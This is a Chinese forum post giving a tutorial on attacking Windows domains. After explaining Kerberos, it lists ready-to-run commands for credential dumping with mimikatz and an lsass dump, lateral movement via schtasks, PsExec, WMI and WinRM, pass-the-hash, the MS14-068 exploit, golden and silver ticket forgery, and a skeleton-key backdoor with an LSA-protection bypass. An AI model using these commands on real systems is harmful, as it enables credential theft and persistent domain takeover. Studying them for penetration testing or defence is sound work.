找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1468|回复: 0
打印 上一主题 下一主题

域渗透技能大全

[复制链接]
跳转到指定楼层
楼主
发表于 2022-3-31 02:08:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式


 

域渗透

 

1、域的简单介绍

将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动目录(Active Directory)的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法。

 

1.1      工作组的缺点

 

2  没有统一的管理机制,

2  没有对用户账户的统一的身份验证机制

2  没有统一查找网络资源的机制

 

1.2      域优势

 

活动目录的特点:

2  集中管理,可以集中的管理企业中成千上万分布于异地的计算机和用户。

2  便捷的网络资源访问,能够容易的定位到域中的资源。

2  用户一次登录就可访问整个网络资源,集中的身份验证。

2  网络资源主要包含用户帐户、组、共享文件夹、打印机等

2   可扩展性,既可以适用于几十台计算机的小规模网络,也可以适用于跨国公司。


 

 

2、Kerberos 协议简介

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

 

 

2.1   Kerberos 协议框架

 

Kerberos 协议中主要有三个角色:

1、访问服务的Client 2、提供服务的 Server

3、KDC(Key Distribution Center)密钥分发中心

KDC 默认安装在域控中,而 Client 和 Server 为域内的用户或者服务,如web 应用、数据库服务器和邮件服务器等。Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定。

如果把 Kerberos 中的票据比作一张火车票,那么 Client 端就是乘客,Server 就是火车, 而 KDC 就是火车站的认证系统。如果 Client 端的票据是合法的(由你本人身份证购买并且由你本人持有)同时有访问 Server 端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不同的是 Kerberos 中有两张票据,而火车票只有一张。


 

 

由上图可以看出,KDC 又分为两个部分:

Authentication Server: AS 的作用就是验证Client 的身份(确认你是身份证上的本人),验证通过就给一张TGT(Ticket Granting Ticket)票给 Client。

Ticket Granting Server:TGS 的作用就是通过 AS 发给Client 的票(TGT)换取访问 Server

:

端的票 ST(Server Ticket)。ST 也有资料称之为 TGS Ticket。


2.2   Kerberos 认证流程

 

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS

发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

The Authentication Service Exchange: Client 与 AS 的交互

The Ticket Granting Service Exchange:Client 与 TGS 的交互

The Client/Server Authentication Exchange:Client 与 Server 的交互

:

 

(1)  The Authentication Service Exchange
KRB_AS_REQ:

Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp)

第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client 密码 hash 加密的时间戳、Client ID、网络地址、加密类型等内容。

KBR_AS_REP:

AS->Client:发送 Client 密码加密的 sessionkey-as 和票据 TGT(KBRTGT HASH 加密的

sesionkey-as 和 Timestamp)

在 KDC 中存储了域中所有用户的密码 hash,当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由Client 密码 hash 加密的 sessionkey-as 和 TGT(由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信息)。


 

(2)  The Ticket Granting Service(TGS) Exchange
KBR_TGS_REQ:

Client->TGS 发送 Authenticator2(sessionkey-as 加密 timestamp)和票据 TGT(KBRTGT HASH

加密的 sessionkey-as 和 timestamp)

Client 接收到了加密的sessionkey-as 和TGT 后,用自身的密码解密得到sessionkey-as, TGT 是 KDC 密码加密的,Client 无法解密。这时 Client 再用 sessionkey-as 加密 timestamp 和 TGT 一起发送给 KDC 中的 TGS(Ticket Granting Server)票据授权服务器换取能够访问Server 的票据。

KBR_TGS-REP:

TGS->Client:发送密文(由 sessionkey-as 加密的 sessionkey-tgs)和票据 ST(由 server 密码 hash 加密的 sessionkey-tgs)

TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的Sessionkey-tgs 发送给Client。


 

(3)  The Client/Server Authentication Exchange

 

KBR_AP_REQ:

Client->Server 发送 Authenticator3(sessionkey-tgs 加密 timestamp)和票据 ST(Server 密码

hash 加密的 sessionkey-tgs)

Client 收到sessionkey-as 加密的sessionkey-tgs 和Server 密码hash 加密的sessionkey- tgs 之后用sessionkey-as 解密得到sessionkey-tgs,然后把 sessionkey-tgs 加密的timestamp和 ST 一起发送给 Server。

KBR_AP_REP:

Server->Client :

Server 通过自己的密码解密 ST , 得到 sessionkey-tgs , 再用 sessionkey-tgs 解密

Authenticator3 得到 timestamp,验证正确返回验证成功。

:


3、域内信息收集

 

在拿到一台内网机器的时候,首先要确定是不是在域内。可通过以下命令来判断机器是否在域内,若命令能成功执行并返回结果则当前机器在域内,否则不在域内。

3.1      判断是否是域环境

 

net view /domain 查询域列表

:

net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器

:

net localgroup administrators 本机管理员【通常含有域用户】

net user /domain 查询域用户(当前域)


net group /domain 查询域工作组

:

net group "domain computers" /domain 查看加入域的所有计算机名

net group "domain admins" /domain 查询域管理员用户组和域管用户


 

net localgroup administrators /domain 查看域管理员

:

net group "domain controllers" /domain 查看域控

net accounts /domain 查看域密码策略


 

 

3.2      定位域控

 

1、通常域内主机DNS 地址就是域控地址

2、查看是否开启 53,389 等端口

:

3、ping 域控计算机名


 

 

 

3.2 非域信息收集

 

1、盲扫C 端、B 段等

2、查看arp 表、路由表

3、找配置文件,如数据库配置等

:


 

 

4、域内横向移动

 

4.1      凭据窃取

 

窃取凭据来帮助在域内横向移动。抓密码 hash 的工具有很多,例如 wce、getpass、QuarksPwDump_v0.1、Pwdump7 等等。介绍几个比较好用且自己常用的工具。

 

4.1.1    mimikatz

 

用法:

mimikatz # privilege::debug (提升权限)

Privilege '20' OK

mimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash) Github 地址:https://github.com/gentilkiwi/mimikatz


 

 

 

4.1.2    procdump+mimikatz

 

Procdump 是微软官方发布的一款调试工具,因此不会被各种杀毒软件查杀。可使用

procdump 加 mimikatz 来躲避杀软检测。

官方下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

 

1、使用procdump 将目标的 lsass.exe 转储成 dmp 文件

procdump64.exe -accepteula -ma lsass.exe lsass.dmp


 

2、使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

:


4.1.3    LaZagne

 

:

一款抓密码的神器,可以抓取系统密码、浏览器密码、wifi 密码等等。


 

 

 

4.2      横向移动

 

横向移动的常用方法和工具。

 

4.2.1    IPC+计划任务

 

进程间通信(IPC,Inter-Process Communication),指至少两个进程或线程间传送数据或者信号的一些技术或方法。

 

 

4.2.1.1   IPC 利用条件

 

1、139 或 445 端口开启:ipc 连接可以实现远程登录及对默认共享的访问;而 139 端口的开启表示netbios 协议的应用,我们可以通过 139、445 端口实现对共享文件/打印机的访问


2、管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享, 即所有的逻辑盘(C$、d$、e$...)和系统目录 winnt 或者windows(admin$)

 

4.2.1.2    建立IPC 连接、copy 文件、创建计划任务

 

net user \\192.168.19.169\c$ test@123 /user:adtest\jeff1 copy 1.bat \\192.168.19.169\c$

 

net time \\192.168.19.169

at \\192.168.19.169 1:03 c:\1.bat

:

 

 

schtasks

:

由于 at 在新版本的系统中已被弃用,我们需要用schtasks 替代

 

schtasks /create /s 192.168.19.177 /u adtest\jeff1 /p test@123 /ru "SYSTEM" /tn test /sc DAILY

/tr c:\1.bat /F

创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告


 

 

运行任务,其中/i 表示立即运行

:

schtasks /run /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /i


 

删除计划任务

schtasks /delete /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /f



4.2.1.3   IPC 常见错误

 

错误号 5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号 51,Windows 无法找到网络路径 : 网络有问题;

错误号 53,找不到网络路径  : ip 地址错误;目标未开机;目标 lanmanserver 服务未启动; 目标有防火墙(端口过滤);

错误号 67,找不到网络名 : 你的 lanmanworkstation 服务未启动;目标删除了 ipc$; 错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连。

错误号 1326,未知的用户名或错误密码:原因很明显了;

错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动。(连接域控会出现此情况)

错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

 

4.2.1.4   PsTools

 

PsTools 是 sysinternals 开发的一个功能强大的安全管理工具包,最新版目前共有 13 个各种功能的小工具。这里介绍下 psexec,psexec 是一款远程执行命令的工具,在内网渗透的时候常它来进行横向移动。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec


 

PsExec

 

1、 若已建立 IPC$连接,无需再次输入账号密码,所有 pstools 工具可直接使用

:

net use //查看ipc 连接状态


:

 

2、 若未建立 IPC 连接,则要使用账号密码进行登录

PsExec.exe \\192.168.19.178 -u adtest\jeff1 -p test@123 cmd.exe

:


4.2.2    WMI

 

WMI(Windows Management Instrumentation , Windows 管理规范) 是一项核心的

Windows 管理技术;用户可以使用WMI 管理本地和远程计算机。

 

 

4.2.2.1   WMI 利用条件

 

1、WMI 服务开启(默认开启)

2、135 端口未被过滤

 

 

4.2.2.2    利用wmic 进行横向移动

 

利用系统自带的工具 wmic 在目标主机上执行任意命令

 

wmic /node:192.168.19.178 /user:adtest\jeff1 /password:test@123 process call create "calc"

:

缺点:无法回显命令


4.2.2.2 wmiexec.vbs

 

:

wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell

 

:

cscript wmiexec.vbs /cmd 192.168.19.178 adtest\jeff1 test@123 whoami


:

cscript wmiexec.vbs /shell 192.168.19.178 adtest\jeff1 test@123

 

 

4.2.3    WinRM

 

WinRM(Windows Remote Management)是 Microsoft 对WS-Management 协议的实现, WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

 

 

4.2.3.1   WinRM 利用条件

 

1、适用于win7 及以后的系统,win7 和server 08 默认关闭

2、server 12 之后的版本才默认允许远程任意主机进行管理

:

3、防火墙未过滤 5985、5986 端口

 

 

4.2.3.2   WINRS

 

winrs(windows remote shell)是WinRM 的客户端,需要管理员权限才能运行,可直接执行命令,也可以返回交互式 shell


:

winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 "cmd”

 

winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 whoami

:

 

 

4.2.3.3   Powershell Invoke-Command

 

PS C:\Users\jeff1> Invoke-Command -ComputerName 192.168.19.100 -ScriptBlock {whoami}

-credential adtest\administrator


 

 

 

4.2.4    PTH(pass the hash)

 

PTH(pass the hash,hash 传递)攻击是指攻击者可以直接通过 LM Hash(已弃用)或 NTLM Hash 访问远程主机或服务,而不提供明文密码。


4.2.4.1   Mimikatz

 


 


mimikatz               #               sekurlsa::pth               /user:administrator                             /domain:.

/ntlm:c5113714efbff7fa196f2e2b50938a8f

:

 

 

4.2.4.2   impacket-examples-windows

 

impacket-examples-windows 是 impacket(网络协议工具包)的 windows 版本,包含了几十款工具,这里使用wmiexec.exe 来演示 pth 攻击。

wmiexec.exe                                                                                                             -hashes

b084e803561e306bff17365faf1ffe89:db23832fd3822fcaea5c019f090fe752 ADTEST/jeff1@192.168.19.14 "whoami"

:

 


下载地址:

impacket-examples-windows: https://github.com/maaaaz/impacket-examples-windows/releases impacket:

https://github.com/SecureAuthCorp/impacket

 

4.2.5 MS14-068

 

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用。

 

:

1、 尝试直接访问域控的 C 盘

 

2、使用 ms14-068 的 exp,生成票据

C:\Users\jeff1\Desktop>MS14-068.exe -u jeff1@adtest.com -s S-1-5-21-3418659180-3 421952656-1938706522-1109 -d 192.168.19.100 -p test@124


 

3、 使用 mimilatz 导入生成的 ccache 文件,导入之前 cmd 下使用命令 klist purge 或者在

:

mimikatz 中使用 kerberos::purge 删除当前缓存的 kerberos 票据

 

导入票据:

kerberos::ptc TGT_jeff1@adtest.com.ccache


 

4、 再次访问域控

:

MS14-068 下载地址:

https://github.com/abatchy17/WindowsExploits/raw/master/MS14-068/MS14-068.exe

 

 

4.2.6    web 漏洞

 

当我们通过以上方法无法进行横向移动的时候,只能回到 web。通过扫描内网 web 应用,通过web 漏洞再进一步进行横向移动,常见能直接获得webshell 的漏洞如下:

 

Ø  struts2 远程代码执行

Ø  weblogic 反序列化漏洞

Ø  weblogic 弱口令

Ø  tomcat 弱口令


Ø  shiro 远程代码执行

Ø  phpstudy 后门

Ø  fastjson 远程代码执行

Ø  sql 注入

Ø  等等

 

 

4.2.7      系统漏洞

 

当内网没有 web 应用的时候,可以尝试通过一些系统漏洞来进行横向移动,通常不建议使用此类漏洞,因为很容易导致服务器蓝屏,常见漏洞如下:

Ø  MS08-067

Ø  MS17-010

Ø  CVE-2019-0708

Ø  等等

 

 

5、  权限维持

 

5.1      黄金票据

 

黄金票据(Golden Ticket)是有效的 TGT(TicketGranting Ticket)票据,是由 KERBEROS 账户(KBRTGT)加密的。用于域控权限掉后,想再重新获取。因为域管的密码可能更改, 通常 kbrtgt 账户不会有人去过问。

 

 

5.1.1      制作黄金票据的前提条件

 

1、域名称

2、域的SID

3、域的KRBTGT 账户的密码 hash 值

4、伪造的用户名,可以是任意用户甚至是不存在的用户

 

5.1.2      黄金票据利用

 

1、导出 krbtgt 密码 hash

mimikatz#lsadump::dcsync /domain:adtest.com /user:krbtgt


 

导出所有域内用户密码 hash 值:

mimikatz#lsadump::dcsync /domain:adtest.com /all /csv


 

2、获取域 SID

:

在导出 krbtgt 的 hash 的时候已经包含了域SID,也可以用以下命令来查看域 SID whoami /all

 

3、伪造黄金票据

 

mimikatz.exe    privilege::debug    "kerberos::golden                        /domain:adtest.com                     /sid:S-1-5-21- 3418659180-3421952656-1938706522                 /target:WIN-9P499QKTLDO.ADTEST.COM

/service:cifs /rc4: 6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt"

 

这里可以不指定target 和service

kerberos::golden      /domain:adtest.com      /sid:S-1-5-21-3418659180-3421952656- 1938706522 /rc4:6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt


 

使用 klist 查看本地缓存的票据

获得票据后可直接通过dir 远程访问主机,可以直接使用ipc 进行连接:


 

:

当然也可以使用psexec 去获得一个 cmdshell:

 

注:普通黄金票据不能跨域使用;TGT 有效时间为 20 分钟;。


 

5.2      白银票据

 

黄金票据是伪造 TGT,白银票据(Silver Tickets)是伪造 ST(Service Ticket),因为 TGT 在

pac 里面限定了给Client 授权的服务,所以银票只能访问指定的服务。

 

 

5.2.1      伪造白银票据的前提条件

 

1、域名称

2、域的SID

3、域的服务账号的密码 hash

4、伪造的用户名(可以是任意的)

 

5.2.2      白银票据的利用

 

在黄金票据中我们可以不指定 target 和 service,但是在白银票据中必须指定 target 和

service

mimikatz.exe privilege::debug "kerberos::golden /domain:adtest.com /sid:S-1-5-21- 3418659180-3421952656-1938706522 /target:WIN-9P499QKTLDO.ADTEST.COM

:

/service:cifs /rc4:22eec3fbe7191bdcf1e5819f8bdcd951 /user:aaa /ptt"


 

 

 

5.3   skeleton key

 

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对lsass.exe  进行注入,所以重启后会失效。


1、 在域控上安装skeleton key

:

mimikatz.exe privilege::debug "misc::skeleton"

 

2、 在域内其他机器尝试使用 skeleton key 去访问域控添加的密码是 mimikatz

C:\Users\jeff1>net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\adm inistrator


 

3、 微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程lsass.exe 的代码注入。如果直接尝试添加skelenton key 会失败。

 

适用系统:

windows 8.1

windows server 2012 及以上

:


当然 mimikatz 依旧可以绕过,命令如下:

privilege::debug

!+

!processprotect /process:lsass.exe /remove misc::skeleton


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表